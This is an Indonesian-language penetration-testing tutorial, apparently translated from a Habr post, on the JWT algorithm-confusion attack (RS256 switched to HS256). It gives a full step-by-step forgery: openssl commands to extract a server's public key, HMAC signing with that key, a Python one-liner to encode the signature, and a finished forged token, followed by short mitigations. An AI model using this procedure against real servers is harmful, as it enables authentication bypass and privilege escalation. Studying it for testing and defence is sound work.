Meretas token jwt


Hanya Untuk Tujuan Pendidikan! Ditujukan untuk penguji Penetrasi Peretas .

Masalah


Algoritma HS256 menggunakan kunci rahasia untuk menandatangani dan memverifikasi setiap pesan. Algoritma RS256 menggunakan kunci pribadi untuk menandatangani pesan dan menggunakan kunci publik untuk otentikasi.

Jika Anda mengubah algoritma dari RS256 ke HS256, kode backend menggunakan kunci publik sebagai kunci rahasia dan kemudian menggunakan algoritma HS256 untuk memverifikasi tanda tangan. Algoritma Cipher Asymmetric => Algoritma Cipher Symmetric.

Karena kunci publik terkadang dapat diperoleh oleh penyerang, penyerang dapat memodifikasi algoritma di header ke HS256 dan kemudian menggunakan kunci publik RSA untuk menandatangani data.
Kode backend menggunakan kunci publik RSA + algoritma HS256 untuk verifikasi tanda tangan.

Contoh


Kerentanan muncul ketika validasi sisi klien terlihat seperti ini:

const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms ) 

Mari kita asumsikan kita memiliki token awal seperti yang disajikan di bawah ini dan "=>" akan menjelaskan modifikasi yang dapat dilakukan penyerang:

 //header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' } 

Kode backend menggunakan kunci publik sebagai kunci rahasia dan kemudian menggunakan algoritma HS256 untuk memverifikasi tanda tangan.

Serang


1. Tangkap traffic dan Token JWT yang valid (contoh NCC Group)

 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg 

2. Decode token dengan Burp Decoder

Strukturnya adalah header.payload.signature dengan masing-masing komponen base64 dikodekan menggunakan skema URL-aman dan setiap bantalan dihapus.

 {"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}} 

3. Ubah header alg ke HS256

 {"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}} 

4. Konversi kembali ke format JWT

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0 

Header dan payload siap untuk digunakan :)

5. Salin sertifikat server dan ekstrak kunci publik

Yang hilang hanyalah tanda tangan, dan untuk menghitung bahwa kita memerlukan kunci publik yang digunakan server. Bisa jadi ini tersedia secara gratis.

 openssl s_client -connect <hostname>:443 

Salin output "Sertifikat server" ke file (mis. Cert.pem) dan ekstrak kunci publik (ke file bernama key.pem) dengan menjalankan:

 openssl x509 -in cert.pem -pubkey –noout > key.pem 

Mari mengubahnya menjadi ASCII hex:

 cat key.pem | xxd -p | tr -d "\\n" 

Dengan memasok kunci publik sebagai ASCII hex ke operasi penandatanganan kami, kami dapat melihat dan sepenuhnya mengontrol byte

 echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey: 

Output - yaitu, tanda tangan HMAC - adalah:

 db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f 

Satu baris untuk mengubah ASCII hex signature ini menjadi format JWT adalah:

 python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")" 

Output adalah tanda tangan kami:

 2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

Cukup tambahkan ke token kami yang dimodifikasi:

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

6. Kirim token yang diubah ke server.

Resolusi


1. Gunakan hanya satu algoritma enkripsi (jika mungkin)



2. Buat fungsi yang berbeda untuk memeriksa algoritma yang berbeda



Referensi


1. medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
2. www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries
4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through

Source: https://habr.com/ru/post/id450054/


All Articles